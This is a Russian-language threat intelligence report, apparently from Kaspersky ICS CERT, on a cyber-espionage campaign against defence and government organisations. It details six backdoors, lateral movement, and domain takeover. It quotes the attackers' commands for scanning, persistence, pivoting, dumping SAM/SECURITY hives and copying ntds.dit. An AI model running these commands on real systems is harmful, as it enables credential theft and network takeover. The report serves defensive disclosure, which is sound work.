08 августа 2022
Таргетированная атака на промышленные предприятия и государственные учреждения
В январе 2022 года эксперты Kaspersky ICS CERT обнаружили волну таргетированных атак на предприятия оборонно-промышленного комплекса и государственные учреждения нескольких стран восточной Европы и Афганистана. Всего в ходе расследования нам удалось обнаружить более дюжины атакованных организаций.
Атакующим удалось проникнуть на десятки предприятий, а на некоторых даже полностью захватить IT-инфраструктуру и взять под контроль системы управления защитными решениями.
Анализ полученной в ходе расследования информации позволяет предположить, что целью данной серии атак был кибершпионаж.
Краткое содержание
Проникновение в сеть предприятия осуществляется при помощи хорошо подготовленных фишинговых писем, в том числе использующих информацию, специфическую для атакуемой организации и не доступную в публичных источниках. Это может свидетельствовать о проделанной заранее подготовительной работе (например, информация могла быть получена в результате предыдущих атак на ту же организацию или её сотрудников, либо на связанные с ней организации или частных лиц).
Документы Microsoft Word, вложенные в фишинговые письма, содержат вредоносный код, эксплуатирующий уязвимость CVE-2017-11882. Уязвимость позволяет выполнить произвольный код – в исследованных атаках это основной модуль вредоносного ПО PortDoor – без дополнительных действий со стороны пользователя.
Предыдущая серия атак, где также использовалось вредоносное ПО PortDoor, была описана специалистами компании Cybereason.
В новой серии атак злоумышленники использовали сразу шесть вредоносных программ класса backdoor – вероятно, для резервирования канала связи с зараженной системой на случай, если одна из вредоносных программ будет обнаружена и удалена защитным решением. Использованные бэкдоры предоставляют обширную функциональность для контроля над зараженной системой и сбора конфиденциальных данных.
В качестве основного инструмента развития атаки используется хакерская утилита Ladon, объединяющая в себе инструментарий для сканирования сети, поиска и эксплуатации уязвимостей, атак на пароли и т.д. Также злоумышленники активно используют стандартные утилиты, входящие в состав операционной системы Microsoft Windows.
Финальным этапом развития атаки является захват контроллера домена и получение полного контроля над всеми рабочими станциями и серверами организации. Получив права доменного администратора, злоумышленники приступают к поиску и загрузке документов и других файлов, содержащих конфиденциальные данные атакованной организации, на свои серверы, развёрнутые в разных странах. Эти же серверы используются как серверы управления вредоносным ПО.
Злоумышленники помещали украденные файлы в зашифрованные ZIP-архивы, защищенные паролем. После получения собранных данных серверы управления вредоносным ПО первого уровня пересылали полученные архивы на сервер управления второго уровня, расположенный в Китае.
В ходе атаки злоумышленники активно использовали техники dll hijacking и process hollowing для противодействия детектированию вредоносных программ защитным ПО.
Анализ полученной в ходе расследования информации позволяет предположить, что за атаками с большой вероятностью стоит китайско-говорящая группа.
В ходе исследования было выявлено вредоносное ПО и серверы управления, ранее использованные в атаках, которые другие исследователи отнесли к китайско-говорящей APT группы TA428.
Мы считаем, что выявленная нами серия атак c высокой вероятностью является продолжением уже известной кампании, которая была описана в исследованиях Cybereason, DrWeb и NTTSecurity и с большой вероятностью отнесена к активности APT TA428.
Полная версия статьи доступна на Kaspersky Threat Intelligence.
За дополнительной информацией вы можете обратиться по адресу: ics-cert@kaspersky.com
Технические подробности
Первоначальное заражение
В январе 2022 года эксперты Kaspersky ICS CERT обнаружили новую волну таргетированных атак на предприятия оборонно-промышленного комплекса и государственных учреждений нескольких стран восточной Европы и Афганистана.
Проникновение в сеть предприятия осуществляется при помощи хорошо подготовленных фишинговых писем. В ходе расследования мы обнаружили, что в некоторых случаях злоумышленники при формировании фишинговых писем используют, в том числе, информацию, не доступную в публичных источниках, например, ФИО сотрудников, ответственных за обработку конфиденциальной информации, а также внутренние кодовые наименования проектов, над которыми работает атакованная организация.
Фишинговые письма содержат документы Microsoft Word, в которых находится вредоносный код, эксплуатирующий уязвимость CVE-2017-11882. Текст документа также подготовлен с учётом специфики работы организации и в некоторых случаях содержит информацию, не доступную в публичных источниках.
Анализ метаданных документа показал, что с высокой вероятностью документ (будучи ещё легитимным) был украден злоумышленниками у другой организации оборонно-промышленного комплекса, после чего обработан специальной программой, выполняющей внедрение в документ вредоносного кода, – weaponizer.
Уязвимость CVE-2017-11882 присутствует в устаревших версиях Microsoft Equation Editor (компонент Microsoft Office) и позволяет злоумышленнику под видом уравнения внедрить специально сформированную последовательность байт, обработка которой приведёт к запуску произвольного кода от имени пользователя.
Однако визуально определить вредоносный документ всё-таки можно, если обратить внимание на объект-уравнение со странным содержимым:
Данная уязвимость позволяет вредоносной программе без дополнительных действий со стороны пользователя получить управление зараженной системой – например, пользователю не требуется включать выполнение макросов, как это происходит в большинстве атак.
Вредоносный код, находящийся в документе, устанавливает в систему вредоносную программу PortDoor, которая, согласно выводам в отчёте компании Cybereason, ранее уже использовалась APT TA428.
Первоначально исполняемый файл PortDoor извлекается в директорию %AppData%\Local\Temp с именем 8.t, после чего перемещается в директорию автозапуска Microsoft Word %AppData%\Roaming\Microsoft\Word\STARTUP с именем, индивидуальным для каждой атаки, – например strsrv.wll. Вредоносная программа устанавливается в качестве Microsoft Word Add-In, что позволяет злоумышленникам закрепиться в системе и получить возможность удаленного управления зараженной системой.
После запуска вредоносное ПО собирает общие сведения о зараженной системе, такие как имя компьютера, IP адреса и т.д., и отправляет их на сервер управления вредоносным ПО. В случаях, когда по результатам профилирования зараженная система оказывается интересна злоумышленникам, они используют функциональность PortDoor для удаленного управления системой и установки дополнительного вредоносного ПО.
Вредоносное ПО
На зараженные системы, которые заинтересовали злоумышленников, они устанавливают сразу несколько вредоносных программ класса backdoor. Наиболее вероятно, что злоумышленники используют такую тактику для резервирования канала связи с зараженной системой, например, на случай если одна из вредоносных программ будет удалена защитным решением.
PortDoor
Несмотря на то, что функциональность PortDoor уже была описана в отчёте Cybereason, мы приводим результаты нашего исследования, чтобы показать отличия новой версии вредоносной программы.
После запуска вредоносная программа расшифровывает область своего исполняемого файла, содержащую конфигурационную информацию:
Значение | Описание |
---|---|
45.63.27.162 | Адрес сервера управления вредоносным ПО |
443 (0x01BB) | Порт для подключения к серверу управления вредоносным ПО |
Kr*^j4 | Контрольное значение, используется для активации выполнения полезной нагрузки |
A1-45 | Идентификатор жертвы, который передаётся вредоносной программой на сервер управления |
78936077.tmp | Файл для хранения идентификатора установки вредоносной программы |
0987654321fedcba | AES-ключ, использующийся для шифрования данных, передаваемых между вредоносной программой и сервером управления |
После расшифровки конфигурационной информации вредоносная программа проверяет, не запущена ли она под отладчиком и существует ли в директории временных файлов файл с именем, указанным в конфигурационной информации, например 78936077.tmp.
Если данный файл отсутствует, то он создаётся вредоносной программой, и в него записывается число, являющееся результатом умножения псевдослучайного числа на время, прошедшее с момента старта системы. Если же файл существует, то вредоносная программа читает из него число, записанное в него ранее.
Описанный алгоритм используется PortDoor для формирования уникального идентификатора зараженной системы, который передаётся злоумышленникам при каждом подключении PortDoor к серверу управления вредоносным ПО. Такой идентификатор необходим, поскольку зараженные системы в рамках одной организации могут иметь один и тот же идентификатор жертвы и внешний IP адрес (так как находятся за NAT).
Далее вредоносная программа устанавливает подключение к серверу управления вредоносным ПО, используя адрес и порт, указанные в конфигурационной информации. Информация, передаваемая на сервер управления, как и его ответы, шифруется алгоритмом AES с использованием ключа, также указанного в конфигурационной информации.
Получив ответ от сервера управления, вредоносная программа проверяет наличие в ответе сервера специальной строки. В рассматриваемом образце вредоносной программы данная строка имеет значение «Kr*^j4». Только в случае совпадения строк вредоносная программа приступает к динамическому импорту функций Windows API по хешам и дальнейшему выполнению полезной нагрузки. Нельзя сказать достоверно, по какой причине злоумышленники внедрили такую логику в PortDoor. Возможно, таким образом производится проверка совместимости версий троянской программы и сервера управления вредоносным ПО.
Как уже было упомянуто, в PortDoor применяется динамический импорт функций Windows API по хешам. Данная техника позволяет избежать наличия в коде программы имён импортируемых функций в виде строк и таким образом снизить вероятность обнаружения вредоносной программы. Сначала вредоносная программа загружает в память необходимые библиотеки, после чего PortDoor переходит к таблице экспорта загруженной библиотеки и считает контрольную сумму от имени каждой экспортируемой функции, пока не найдёт совпадение со значением хеша, заложенным в код вредоносной программы:
После завершения поиска и импорта необходимых функций вредоносная программа переходит в цикл ожидания команд от сервера управления вредоносным ПО.
Обнаруженная в ходе новой серии атак версия PortDoor поддерживает следующие функции:
Код команды | Описание |
---|---|
1 | Проверить наличие контрольного значения «Kr*^j4» и отправить серверу ответ о её присутствии (вероятно, проверка версии вредоносной программы) |
8 | Собрать информацию о зараженной системе: Windows ANSI code page, original equipment manufacturer (OEM) code page, имя пользователя, имя компьютера, версия операционной системы, информация о центральном процессоре и идентификатор жертвы (например, A1-45) |
12 | Записать переданные данные в указанный файл с добавлением строки «exit\n» в конец файла (используется злоумышленниками для удаленного создания CMD и PowerShell скриптов) |
16 | Скрытое управление зараженной системой (запуск cmd.exe с атрибутом CREATE_NO_WINDOW), вывод команд отправляется на сервер управления вредоносным ПО |
17 | Записать переданные данные в указанный файл с добавлением перевода строки (\n) в конец файла |
40 | Дописать переданные данные в конец указанного файла |
41 | Записать переданные данные в ранее открытый файл |
42 | Закрыть открытый ранее файл |
43 | Прочитать указанный файл |
45 | Закрыть открытый ранее файл |
48 | Собрать информацию о процессах, запущенных в системе |
49 | Завершить указанный процесс |
65 | Собрать информацию о носителях информации, подключенных к системе: тип носителя информации, характеристики устройства и количестве свободного места на диске |
66 | Перечислить файлы по маске в заданной директории |
67 | Удалить заданный файл |
68 | Переместить заданный файл |
69 | Скрытый запуск заданного процесса (запуск с атрибутом CREATE_NO_WINDOW) |
nccTrojan
В ходе нашего расследования мы обнаружили на множестве зараженных систем также вредоносную программу nccTrojan, которая ранее уже использовалась в атаках, отнесённых экспертами компании NTTSecurity к APT TA428. В описанной исследователями серии атак злоумышленники использовали nccTrojan первой версии, а также версии 2 и 2.1. В январе 2022 года мы обнаружили новую, усовершенствованную версию nccTrojan, – 2.45, – о чём говорит соответствующая запись в пути к .pdb-файлу и в конфигурационной информации вредоносного ПО.
Установка nccTrojan производится при помощи загрузки файлов с сервера управления вредоносным ПО PortDoor. Исполняемый файл (DLL-библиотека) nccTrojan скачивается в виде .cab архива с произвольным именем, например wam.dll.cab. Затем для распаковки злоумышленники используют системную утилиту expand. Распаковка производится в одну из уже существующих в системе директорий легитимного ПО, например %ProgramData%\Intel\ShaderCache, %Program Files%\Common Files\AV\Norton Security Ultra, %ProgramData%\2GIS, %ProgramData%\Adobe и т.д.
Также злоумышленники загружают в зараженную систему специальный компонент-установщик, который регистрирует DLL nccTrojan в качестве службы, что обеспечивает вредоносной программе автоматический запуск после загрузки системы. Любопытно, что в связке с nccTrojan версии 2.45 применяется установщик, по-видимому, относящейся к предыдущей версии (2.43), о чём говорит соответствующий путь к .pdb-файлу.
После запуска основной модуль nccTrojan связывается с серверами управления и ожидает команды для выполнения. Вредоносная программа выполняет попытку подключения ко всем серверам управления, указанным в исполняемом файле. Дальнейшая коммуникация осуществляется с сервером, который ответил первым.
Во время подключения к серверу управления вредоносная программа передаёт злоумышленникам общую информацию о зараженной системе: имя компьютера, имя пользователя, локальный IP-адрес, сведения о локализации системы, версию вредоносной программы и т.д.
nccTrojan, как и PortDoor, обладает backdoor функциональностью, таким образом злоумышленники получают сразу два канала управления зараженной системой. Также nccTrojan имеет функциональность по загрузке информации, собранной злоумышленниками, на сервер управления вредоносным ПО, и используется в том числе для кражи файлов, содержащих коммерческую тайну. Полный список команд, поддерживаемых nccTrojan версии 2.45, представлен ниже:
Код команды | Описание |
---|---|
0, 1, 2 | Запустить удаленную командную строку (в кодировке Unicode), а также отправить версию операционной системы на сервер управления вредоносным ПО |
3 | Выполнить команду в командной строке (в кодировке Unicode) |
4 | Выполнить команду в командной строке (в кодировке ASCII) |
5 | Собрать информацию о подключенных носителях информации |
6 | Отправить список файлов из указанной директории |
8 | Запустить указанную программу |
10 | Удалить указанный файл или папку |
12 | Передать выбранные файлы с зараженной системы на сервер управления вредоносным ПО |
15, 17 | Загрузить файлы на зараженную систему с сервера управления вредоносным ПО |
19 | Отправить список процессов, запущенных в системе |
21 | Завершить работу указанного процесса |
23 | Скопировать указанный файл |
26 | Переместить указанный файл |
29 | Запустить удаленную командную строку (в кодировке ASCII) |
Cotx и DNSep
Также, как и nccTrojan, – в .cab-архивах – на этапе продвижения по сети злоумышленники загружают на заражаемые компьютеры вредоносные программы, известные как Cotx и DNSep. Эти вредоносные программы были описаны в одном из исследований Dr.Web, поэтому мы лишь приведём некоторые уточнения и обновления, характерные для описываемой нами серии атак.
Обе вредоносные программы имеют идентичную функциональность и различаются лишь отдельными частями кода.
После доставки и распаковки Cotx/DNSep, злоумышленники используют технику dll hijacking в устаревших и уязвимых версиях приложений McAfee SecurityCenter, Sophos SafeStore Restore tool и Intel Common User Interface. Вредоносная библиотека, которая загружается и запускается в результате эксплуатации техники dll hijacking, расшифровывает исполняемый файл бэкдора, находящийся в файле с расширением .log.
Исполняемые файлы Cotx зашифрованы алгоритмом AES256, для расшифровки используется ключ, указанный в коде вредоносной библиотеки:
Исполняемые файлы DNSep распаковываются с помощью функции RtlDecompressBuffer.
Расшифрованный модуль вредоносной программы загружается в память легитимного процесса с помощью техники Process Hollowing и подключается к серверу управления вредоносным ПО. В случае Cotx вредоносный код внедряется в процесс dllhost.exe, а в случае DNSep внедрение вредоносного кода производится в процесс утилиты управления электропитанием powercfg.exe.
Ниже представлен список команд, поддерживаемых бэкдорами Cotx и DNSep:
Код команды | Описание |
---|---|
1 | Установить идентификатор бота |
2 | Запустить командную строку |
3 | Выполнить команду в запущенной ранее командной строке |
4 | Собрать информацию о подключенных носителях информации |
6 | Загрузить файл с зараженной системы на сервер управления вредоносным ПО |
7 | Скопировать файл |
8 | Удалить файл |
9 | Получить размер файла |
10 | Переместить файл |
11 | Задать временной интервал обращения к серверу управления вредоносным ПО |
13 | Удалить вредоносное ПО |
Обнаруженный нами вариант Cotx очень похож на экземпляр, исследованный ранее Dr.Web, и, скорее всего, является его обновлённой версией.

Logtu
Вредоносная программа Logtu также ранее встречалась в атаках, аттрибутированных к TA428. Новая версия Logtu для обхода детектирования использует динамические импорты и зашифрованные с помощью операции xor названия функций:
Загрузка, установка и запуск Logtu осуществляется так же, как и в случае с Cotx и DNSep, за исключением того факта, что техника Process Hollowing применяется не к системному процессу, а к процессу легитимного ПО, в который ранее была выполнена загрузка вредоносной библиотеки.
Ниже представлен список команд, поддерживаемых Logtu:
Код команды | Описание |
---|---|
1 | Передать время с момента запуска системы, полученное функцией GetTickCount |
2 | Запустить интерпретатор командной строки с перенаправлением ввода и вывода в именованные каналы |
3 | Записать данные в заданный файл |
4 | Удалить заданный файл |
5 | Команда принимает аргумент, разделённый на две части символом |, например, <a>|<b>. Выполняется проверка существования файла <a> – если файл существует, на сервер отправляется <b>|<размер файла>, если файл отсутствует – отправляется <b>|01, после чего создаётся файл <a>.tut и в него 32 раза записывается символ «0». |
6 | Дописать в заданный файл (например <a>) данные, переданные с сервера управления вредоносным ПО. Если указан соответствующий параметр, вредоносная программа удаляет файл <a> и переименовывает файл <a>.tu в <a>. |
7 | Передать дату и время создания заданного файла |
8 | Прочитать 4kb из заданного файла по заданному смещению и отправить на сервер управления вредоносным ПО |
9 | Собрать информацию о файловых системах, применяемых на зараженной машине |
10 | Передать заданной директории dirlist (список файлов с указанием размера, времени изменения, а также атрибутов файла) |
11 | Удалить заданный файл |
12 | Переместить заданный файл |
13 | Запустить программу (создать процесс) |
14 | Сделать скриншот содержимого экрана |
15 | Передать список служб, зарегистрированных в системе (имя службы, статус и отображаемое имя) |
16 | Запустить указанную службу |
17 | Передать список запущенных процессов |
18 | Завершить заданный процесс |
19 | Закрыть соединение с сервером управления вредоносным ПО |
CotSam
Помимо всех описанных выше вредоносных программ, в ходе нашего расследования мы встретили новый бэкдор, отличающийся от всех остальных, использованных ранее в атаках, отнесённых исследователями к TA428. Из-за схожести с вредоносной программой Cotx мы решили назвать обнаруженный образец Backdoor.Win32.CotSam.
В ходе развития атаки злоумышленники использовали сразу два пути установки этой вредоносной программы.
В первом случае злоумышленники доставляли вместе с вредоносной программой уязвимую версию Microsoft Word. Для 32-битных систем использовалась версия Microsoft Word 2007, а для 64-битных систем – Microsoft Word 2010. После загрузки WINWORD.EXE эксплуатируется уязвимость dll hijacking, в результате чего управление получает вредоносная библиотека wwlib.dll, которая расшифровывает файл OEMPRINT.CAT из текущей директории простой операцией xor с ключом 0xAA:
После этого расшифрованный исполняемый файл записывается напрямую в память процесса svchost.exe с помощью функции WriteProcessMemory.
Во втором случае злоумышленники эксплуатировали уязвимость dll hijacking в приложении applaunch.exe (MD5: 170D73BE3FE846E9070CFAE530F5A31C). Примечательно, что эта же версия программы applaunch.exe ранее применялась другими китайскими группами для распространения вредоносной программы ShadowPad.
После запуска вредоносная программа извлекает параметры прокси-сервера из ключа реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer и подключается к серверу управления вредоносным ПО в ожидании команд.
Код команды | Описание |
---|---|
0x268447744 | Получить информацию об архитектуре зараженной системы при помощи функции GetNativeSystemInfo |
0x268443648 | Собрать информацию о подключенных носителях информации |
0x268443649 | Получить список файлов в заданной директории |
0x268443650 | Прочитать заданный файл |
0x268443651 | Установить заданный объект события в сигнальное состояние |
0x268443654 | Создать файл по заданному пути |
0x268443655, 0x268451842 | Записать в заданный файл переданные данные |
0x268443656 | Удалить заданный файл |
0x268443657 | Запустить указанный файл |
0x268443658 | Проверить, существует ли файл или директория |
0x268464128 | Отправить буфер с данными на сервер управления вредоносным ПО, данные шифруются операцией xor с ключом 48 |
0x268447745 | Завершить указанный процесс |
0x268472320 | Запустить интерпретатор командной строки |
0x268472324 | Установить процессу высокий контроль целостности (vS-1-16-12288) |
0x268464129 | Записать переданные данные в конфигурационный файл setting.cfg |
Действия злоумышленников после заражения
Закрепившись на первой системе, злоумышленники пытаются распространить вредоносное ПО на другие компьютеры в сети предприятия. Целью злоумышленников на данном этапе является получение доступа к контроллеру домена и полный захват инфраструктуры атакованной организации.
Для запуска утилит и получения результатов их работы злоумышленники используют удаленную командную строку, предоставляемую вредоносным ПО класса бэкдор. В ходе расследования мы обнаружили серию, выполненных на зараженных системах команд, которые злоумышленник вводил вручную (на это указывают как временные интервалы между командами, так и отсутствие перенаправления вывода результата куда-либо, кроме стандартного вывода).
Сбор сведений об инфраструктуре предприятия
Для сканирования сети злоумышленники в основном использовали консольную утилиту NBTscan, которая попадает на компьютер жертвы в виде .cab архива под именем ace и распаковывается с помощью системной утилиты expand:
expand.exe ace.cab ace.exe ace -n 172.22.0.0/16
Также в ряде случаев мы обнаружили факты применения хакерского фреймворка Ladon, который состоит из множества модулей, имеющих обширную функциональность для развития атаки, в частности:
- Сканировать сеть и находить различные типы устройств.
- Выявлять уязвимости в найденных устройствах, а также эксплуатировать их.
- Подбирать пароли доступа к ресурсам внутри сети.
- Осуществлять поиск хешей паролей.
- Осуществлять поиск паролей в текстовых файлах.
- Удаленно запускать произвольный код.
Использование этих инструментов позволяет злоумышленнику просканировать всю доступную по сети инфраструктуру, а также определить наиболее уязвимые компьютеры в сети.
Также злоумышленники собирали информацию о пользователях, работающих в системе, и их сетевых подключениях. В частности, их интересовали подключения по протоколу RDP:
query user net user net group ipconfig /all netstat -no netstat -no | findstr 3389 netstat -ano | findstr 2589
Распространение вредоносного ПО
Злоумышленникам удавалось развивать атаку при помощи заражения всё новых систем, для доступа к которым они использовали результаты сканирования сети, а также учетные данные пользователей, украденные ранее. С помощью утилит net use и xcopy они устанавливали сетевое соединение с удаленной системой и копировали на неё вредоносное ПО:
net use \\[IP адрес]\IPC$ "[пароль]" /u:"[имя пользователя]" xcopy.exe /s \\[IP адрес]\c$\windows\web\*" $windir\Web\ /y /e /i /q
В ряде случаев запуск вредоносного ПО осуществлялся с помощью opensource VBS скрипта wmic.vbs, который злоумышленники также загружали на удаленную систему:
cscript.exe //nologo wmic.vbs /cmd IP адрес [имя пользователя][пароль] $appdata\ABBYY\Install.exe
Данный VBS скрипт был разработан в качестве инструмента для проведения тестирования на проникновение, однако нередко используется злоумышленниками в реальных атаках. wmic.vbs выполняет команды от имени учетной записи пользователя с правами администратора, используя командную строку WMIC (Windows Management Instrumentation Command-line). В других случаях для обеспечения автоматического запуска вредоносного ПО злоумышленники создавали задачу в планировщике задач Windows:
schtasks /create /tn CacheTasks /tr "$appdata\ABBYY\FineReader\WINWORD.EXE" /sc minute /mo 50 /ru "" /f
В случаях, когда злоумышленникам удавалось добраться до закрытых сетей (сетей, из которых отсутствует прямое подключение к сети Интернет), они превращали промежуточные системы (системы, доступные из закрытых сетей и при этом имеющие доступ в интернет) в прокси-серверы. Таким образом вредоносное ПО, работающее на системах в закрытых сетях, получает возможность взаимодействия с сервером управления. Перенаправление сетевого трафика настраивается тривиально – также при помощи стандартных средств Windows:
netsh interface portproxy add v4tov4 2589 <IP адрес> 443
Захват домена
Получив доступ к контроллеру домена, злоумышленники похищали всю базу хешей паролей пользователей Active Directory. Для этого сначала они сохраняли копию кустов системного реестра специальной командой cmd:
reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
После этого они копировали файл ntds.dit, содержащий базу данных Active Directory, и, в частности, хеши паролей пользователей. Интересным является тот факт, что файл ntds.dit постоянно используется системой и скопировать его стандартным способом не представляется возможным. Чтобы обойти это ограничение злоумышленники использовали специальную утилиту, выполняющую копирование файла с использованием теневого копирования Windows (VSS).
Пример запуска этой утилиты представлен ниже:
c:\programdata\microsoft\sc64.exe c:\windows\ntds\ntds.dit c:\programdata\microsoft\ntds.dit
Имея содержимое системного реестра и файл ntds.dit, злоумышленники смогли получить логины и хеши от паролей всех пользователей домена. Далее, используя подбор паролей по хешам, злоумышленники получили аутентификационные данные большинства пользователей из домена атакованной организации.
В случаях, когда ИТ-инфраструктура атакованной организации состоит из нескольких доменов, злоумышленники изучали доверительные отношения между доменами, чтобы найти учётные записи, которые позволят развивать атаку дальше:
nltest /domain_trusts
В процессе атаки на контроллер домена злоумышленники получали в том числе хеш пароля пользователя krbtgt (служебная учётная запись Active Directory), что позволяло им выполнить атаку, известную как Golden Ticket. Злоумышленники получали возможность самостоятельно выпускать билеты Kerberos (TGT) и выполнять аутентификацию в любом сервисе Active Directory, причем на неограниченное время.
В одном из исследованных случаев службе безопасности атакованной организации удалось выявить подозрительную активность на контроллере домена, после чего пароли пользователей, чьи учётные записи были скомпрометированы, были изменены. Однако злоумышленники как ни в чём не бывало продолжили действовать под теми же учётными записями, используя билеты Kerberos. Таким образом, в случае атаки Golden Ticket стандартные методы реагирования на киберинциденты оказываются недостаточными.
Наконец, стоит отметить, что, в одном из случаев в процессе захвата сети предприятия злоумышленникам также удалось получить доступ к серверу, на котором работает система управления защитными решениями, и внести изменения в параметры работы средств защиты конечных узлов сети.
Вывод украденных данных
В ходе совместного расследования нам предоставили доступ к содержимому нескольких серверов управления вредоносным ПО, размещённых в инфраструктуре одного из хостинг-провайдеров. Это позволило получить дополнительную информацию о действиях злоумышленников.
После получения контроля над большей частью ИТ-инфраструктуры атакованной организации злоумышленники приступают к этапу кражи конфиденциальной информации. Все файлы, собираемые злоумышленниками, упаковываются в ZIP-архивы под паролем, для автоматизации этого процесса злоумышленники используют собственную сборку утилиты 7-Zip.
Стоит обратить внимание на тот факт, что злоумышленники создают архивы таким образом, что имена файлов, находящихся в архиве, как и их содержимое, будут зашифрованы. Возможно, в некоторых случаях такой подход позволяет обходить решения класса DLP при передаче конфиденциальных данных за сетевой периметр организации.
Созданные архивы отправляются на один из серверов управления первого уровня, которые расположены в разных странах мира. В большинстве случаев серверы управления первого уровня выполняют лишь одну функцию – перенаправляют получаемые данные на сервер управления второго уровня, расположенный в Китае. При этом в регистрационных данных у исследованных серверов управления первого уровня указана электронная почта администратора, зарегистрированная на китайском ресурсе 163.com.
На одном из серверов управления первого уровня была включена функция сохранения всех данных, перенаправляемых на сервер управления второго уровня.
Судя по всему, злоумышленники выбирали файлы вручную, поскольку среди украденных данных присутствуют файлы различных типов из различных директорий. При этом на сервер управления первого уровня выгружались только выбранные файлы.
Жертвы атаки
На текущий момент нам известно более дюжины жертв данной атаки, и результаты расследования показывают, что атака носит таргетированный и, можно даже сказать, точечный характер. Все идентифицированные жертвы либо связаны с оборонной промышленностью, либо являются государственными учреждениями.
Целями атаки стали заводы, конструкторские бюро и НИИ, государственные агентства, министерства и ведомства нескольких стран Восточной Европы (Белоруссия, Россия, Украина), а также Афганистана.
Информация о злоумышленниках
C большой вероятностью за атакой стоит китайско-говорящая группа.
- Мы видим значительное совпадение Tactics, Techniques, and Procedures (TTPs) с активностью APT TA428.
- В исследуемой атаке был использован тот же weaponizer, помещающий код эксплойта CVE-2017-11882 внутрь документов, что и в предыдущих атаках APT TA428, направленных против предприятий оборонно-промышленного комплекса России.
- На то, что за атакой с большой вероятностью стоит именно китайско-говорящая группа, также указывает ряд косвенных улик. Например:
- использование популярных в Китае хакерских утилит, таких как Ladon,
- расположение сервера управления второго уровня в Китае,
- регистрационная информация серверов управления, где среди контактных данных администратора указан адрес электронной почты на китайском домене 163.com.
В ходе исследования мы изучили 59 сеансов подключений злоумышленников к зараженным системам (подчеркнём: речь идёт не об автоматизированной работе вредоносного ПО, а именно о случаях, когда злоумышленник подключался к зараженной системе и вводил команды вручную). Оказалось, что время дня, в которое производилось подключение, во всех случаях (за исключением одного) попадает в промежуток между 8 утра и 5 вечера по часовому поясу GMT+8, в котором расположен Китай (также, как и ряд других стран).
Мы считаем, что выявленная нами серия атак c высокой вероятностью является продолжением уже известной кампании, которая была описана в исследованиях Cybereason, DrWeb и NTTSecurity. Об этом говорит множество обнаруженных нами факторов и улик, начиная от выбора жертв, заканчивая совпадением серверов управления вредоносным ПО.
Авторы упомянутых исследований относят описываемые ими атаки к активности китайско-говорящей APT-группы, указывая TA428 в качестве одной из наиболее вероятных.
Анализ полученной в ходе расследования информации позволяет предположить, что целью данной серии атак являлся кибершпионаж.
Выводы
Результаты исследования показывают, что целевой фишинг остаётся одной из наиболее актуальных угроз для промышленных предприятий и государственных учреждений. В основном злоумышленники использовали известные ранее вредоносные программы класса backdoor, а также стандартные техники развития атаки и обхода детектирования антивирусных решений. При этом им удалось проникнуть на десятки предприятий, а на некоторых даже полностью захватить IT-инфраструктуру и взять под контроль системы управления защитными решениями.
Обнаруженная нами серия атак не является первой в кампании и, учитывая тот факт, что злоумышленникам удаётся достигать определённого успеха, мы считаем высоковероятным повторение подобных атак в будущем. Промышленным предприятиям и государственным учреждениям необходимо провести обширную работу, чтобы успешно отразить подобные атаки.
Мы не заканчиваем наше расследование и будем публиковать информацию о новых находках по мере их появления.
Если после прочтения этого отчета у вас возникнут вопросы или комментарии, или у вас появится какая-либо дополнительная информация, имеющая отношение к описанной в нем вредоносной кампании, свяжитесь с нами, отправив электронное письмо по адресу ics-cert@kaspersky.com.
Рекомендации
- Убедитесь, что на всех серверах и рабочих станциях установлено защитное программное обеспечение с поддержкой централизованного управления, антивирусные базы и программные модули которого находятся в актуальном состоянии.
- Убедитесь, что все компоненты защитного ПО включены на всех системах, а также установлена политика, запрещающая отключение защиты без ввода пароля администратора.
- Убедитесь, что политики Active Directory включают ограничения на попытки пользователей войти в систему. Пользователям следует разрешать входить только в те системы, доступ к которым им необходим для выполнения своих служебных обязанностей.
- Ограничьте (минимизируйте) сетевые соединения между системами в OT сети, включая VPN; заблокируйте соединения по всем портам, использование которых не требуется для работы технологического процесса.
- По возможности ограничьте доверительные отношения между доменами организации и минимизируйте количество пользователей, имеющих права доменного администратора.
- Обучите сотрудников организации правилам безопасной работы с интернетом, электронной почтой и другими каналами связи, в частности, объясните возможные последствия загрузки и запуска файлов из непроверенных источников. Уделите внимание вопросам выявления фишинговых писем, а также практикам безопасной работы с документами Microsoft Office.
- Используйте учетные записи с правами локального администратора и администратора домена только тогда, когда это необходимо для выполнения должностных обязанностей.
- Ограничьте возможность получения программами привилегий SeDebugPrivilege (в тех случаях, когда это возможно).
- Внедрите парольную политику, которая устанавливает требования к сложности паролей и требует регулярно менять пароли.
- Рассмотрите возможность использования продуктов и сервисов класса Managed Detection and Response, чтобы получить быстрый доступ к высокоуровневым знаниям и опыту специалистов по информационной безопасности.
- Используйте специальные защитные решения для промышленных предприятий. Kaspersky Industrial CyberSecurity защищает рабочие станции и обеспечивает сетевой мониторинг в OT сети для выявления и блокировки вредоносной активности.
Приложение I – индикаторы компрометации
Примечание: Индикаторы, представленные в этом разделе, являются актуальными на момент публикации.
Контрольные суммы файлов (MD5)
